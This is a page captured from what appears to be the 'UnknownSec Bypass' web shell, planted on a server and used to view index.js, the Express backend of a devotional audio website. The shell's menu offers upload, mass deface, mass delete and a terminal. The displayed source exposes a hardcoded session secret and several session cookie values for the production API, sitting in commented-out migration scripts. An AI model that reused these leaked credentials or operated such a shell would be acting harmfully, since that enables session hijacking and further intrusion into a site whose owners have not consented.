UnknownSec Bypass
403
:
/
var
/
www
/
stp-bhaktisagar-backend
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
index.js
require("dotenv").config(); const express = require("express"); const expressLayouts = require("express-ejs-layouts"); var flash = require("express-flash"); const bodyParser = require("body-parser"); var session = require("express-session"); var MySQLStore = require("express-mysql-session")(session); const morgan = require("morgan"); const path = require("path"); const { connectMySql, runMySqlQuery, createMySQLDBDump, } = require("./src/config/mysql"); const compress = require("compression"); const { writeCSVFile, writeJsonFile, getRndInteger, csvToJson, trimDirFiles, } = require("./src/util/app.util"); const { default: axios } = require("axios"); const { default: helmet } = require("helmet"); const cors = require("cors"); const schedule = require("node-schedule"); const moment = require("moment"); const { scheduleEventNotificationJobs, } = require("./src/helpers/eventSchedule.helper"); function main() { let mc = connectMySql(); const app = express(); const port = 4000; app.use( morgan("tiny", { skip: function (req, res) { return res.statusCode < 400; }, }) ); app.use(bodyParser.json({ limit: "50mb" })); app.use( bodyParser.urlencoded({ limit: "50mb", extended: true, parameterLimit: 50000, }) ); // gzip compression app.use(compress()); // secure apps by setting various HTTP headers // app.use(helmet()); // app.use(helmet.crossOriginResourcePolicy({ policy: "cross-origin" })); // enable CORS - Cross Origin Resource Sharing app.use(cors()); app.use( session({ store: new MySQLStore({ host: process.env.DB_HOST, port: process.env.DB_PORT, user: process.env.DB_USER, password: process.env.DB_PASSWORD, database: process.env.DB_NAME, }), resave: false, saveUninitialized: false, secret: "XCR3rsasa%RuuuDHHH", cookie: { maxAge: 6000000 }, }) ); app.use(flash()); app.use(expressLayouts); // console.log(path.resolve("src/views")); app.set("views", path.resolve("src/views")); app.set("view engine", "ejs"); app.set("layout_front", "layout_front"); app.use("", express.static(__dirname + "/public")); app.use(require("./src/routes/home.routes")); app.use("/api", require("./src/routes/api.routes")); let server = require("http").Server(app); //server listen// server.listen(port, () => { scheduleEventNotificationJobs(); console.log( ` app listening on port ${port}! Visit: http://localhost:${port}` ); }); //server listen// //// } main(); async function createBackup() { let w = await createMySQLDBDump(); trimDirFiles(10); console.log("---------"); // console.log(w); } let freq = "0 0 * * *"; //At 12:00 AM // freq="*/5 * * * * *" const job = schedule.scheduleJob(freq, function () { console.log("DB BACKUP CRON Run---", new Date()); createBackup(); }); //createBackup(); // const date = moment().add(20,'second'); // const job = schedule.scheduleJob(date.toDate(), function(){ // console.log(moment().format('YYYY-MM-DD hh:mm:ss A') ,'The world is going to end today.'); // }); // job.cancel(); //Salimnabad --- item orders fix pending const audiodb = async () => { let dataJson = await csvToJson( path.resolve("build", "Maghmela 2006-Table 1.csv") ); // let dataJson = require("./build/satsang/Rath.json"); console.log( dataJson.map((r) => { return r["Satsang Name"]; }) ); // writeJsonFile('satsang/Rath',dataJson); let baseUrl = "http://192.168.1.103:4000"; baseUrl = "https://stp.santgyaneshwarji.org"; let count = 1; let audios = dataJson.map((r, i) => { let pd = path.parse(r["Satsang Name"]); let artwork = `${baseUrl}/thumb/6.jpg`; // console.log(r.Link) // 08-Lakhimpur-Track-6.mp3 let no = r["Satsang Name"].slice(0, 2); //+r["Satsang Name"].slice(r["Satsang Name"].lastIndexOf('-'),r["Satsang Name"].lastIndexOf('-')+2)//r["Satsang Name"].indexOf() // .replace("!", ""). // .replace(' Bikapur 1995', '') // .replace('.mp3', ''); let body = { // title: `Bareilly Satsang - ${parseInt(i) + 1}`, //pd.name, // title_hi: `बरेली सत्संग - ${parseInt(i) + 1}`, title: `Maghmela Satsang ${no} - 2006`, //pd.name, title_hi: `माघमेला सत्संग ${no} - 2006`, url: r.Link, artwork: artwork, artist: "", artist_hi: "", duration: 0, items: [17], // pd }; return body; }); audios.reverse(); for (let i in audios) { let body = audios[i]; let apiurl = "http://localhost:4000/api/audio"; let sessionKey = "s%3AL42VQdyUtoF3PJlhXiOJPvkFT5SteZRe.lTR7oadyo8z9Y%2FVzDJEh%2BoUCRZPtUQqqoGbt6N73QrI"; apiurl = "https://stp.santgyaneshwarji.org/api/audio"; sessionKey = "s%3AcoZE1eHCwFf44DriLrdtc1LKXDhO5ikL.ECpHa4ZMef%2BKAuHYyekekQulkM6HqU9rTTbgq9Ig2eQ"; // let { data } = await axios.post(apiurl, body, { // headers: { // Cookie: // `connect.sid=${sessionKey}`, // }, // }); // console.log(data); // console.log(body); console.log(count++, body.title); } ////////////// // let HTMLParser = require("node-html-parser"); // runMySqlQuery("select * from audiobhajantb where type='Old'").then( // async (rows) => { // let audios = []; // let count = 1; // for (let r of rows) { // let root = HTMLParser.parse(r.discription); // // console.log(r.discription) // // console.log(root.querySelector("source").getAttribute("src")); // let url = root.querySelector("source").getAttribute("src"); // let pathData = path.parse(url); // let entitle = pathData.name // .split("+") // .map((s) => { // return s.charAt(0).toUpperCase() + s.slice(1).toLowerCase(); // }) // .join(" "); // audios.push({ // title: entitle || r.title, // title_hi: r.title, // artist: "", // artist_hi: "", // url, // artwork: "", // duration: 0, // type: r.type, // }); // let apiurl = "http://localhost:4000/api/audio"; // // apiurl='https://stp.santgyaneshwarji.org/api/audio' // let { data } = await axios.post( // apiurl, // { // title: entitle || r.title, // title_hi: r.title, // artist: "", // artist_hi: "", // url, // artwork: "", // duration: 0, // items: [3], // }, // { // headers: { // Cookie: // "connect.sid=s%3A6bxVisBp32xq3FhZTD_Tt-AkrjwJu03s.zNx6XMEfLUHBXJ83wnxG7PzTevV1vEaeumLyUGx7QdE", // }, // } // ); // console.log(data); // console.log(count++, entitle); // } // // console.log(audios); // writeCSVFile("audio", audios); // writeJsonFile("audio", audios); // } // ); }; // audiodb(); const insertOrderIndex = async () => { let audios = await runMySqlQuery("select * from audio order by id desc"); let c = 1; for (const i in audios) { let audio = audios[i]; await runMySqlQuery("update audio set order_index=? where id=?", [ c++, audio.id, ]); console.log(audio.id, i); } }; // insertOrderIndex() const insertRandomImages = async () => { let audios = await runMySqlQuery("select * from audio"); let baseUrl = "http://192.168.1.102:4000"; // baseUrl = "https://stp.santgyaneshwarji.org"; let dd = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; for (const i in audios) { let audio = audios[i]; let no = getRndInteger(1, 10); no = dd[i % 10]; let artwork = `${baseUrl}/thumb/${no}.jpg`; await runMySqlQuery("update audio set artwork=? where id=?", [ artwork, audio.id, ]); console.log(audio.id, i % 10, artwork); } }; // insertRandomImages(); // let d = [-1,-2,-4,-6].sort((a, b) => b - a).filter(r=>r<0); // console.log(d); // let f = 0 // for (let i = 0; i < d.length; i++) { // let no = d[i]; // let diff = f - no; // // console.log(i, f, no, diff, diff > 1); // // f = no; // if (diff > 1) { // break; // } else { // f = no; // } // } // console.log("r", f - 1); // let r = d.reduce((s, t) => { // console.log(s , t,s - t,s - t > 1) // if (s - t > 1) { // return t; // } // return s; // }, -1); // console.log(r); // trimDirFiles(10)
Copyright © 2025 - UnknownSec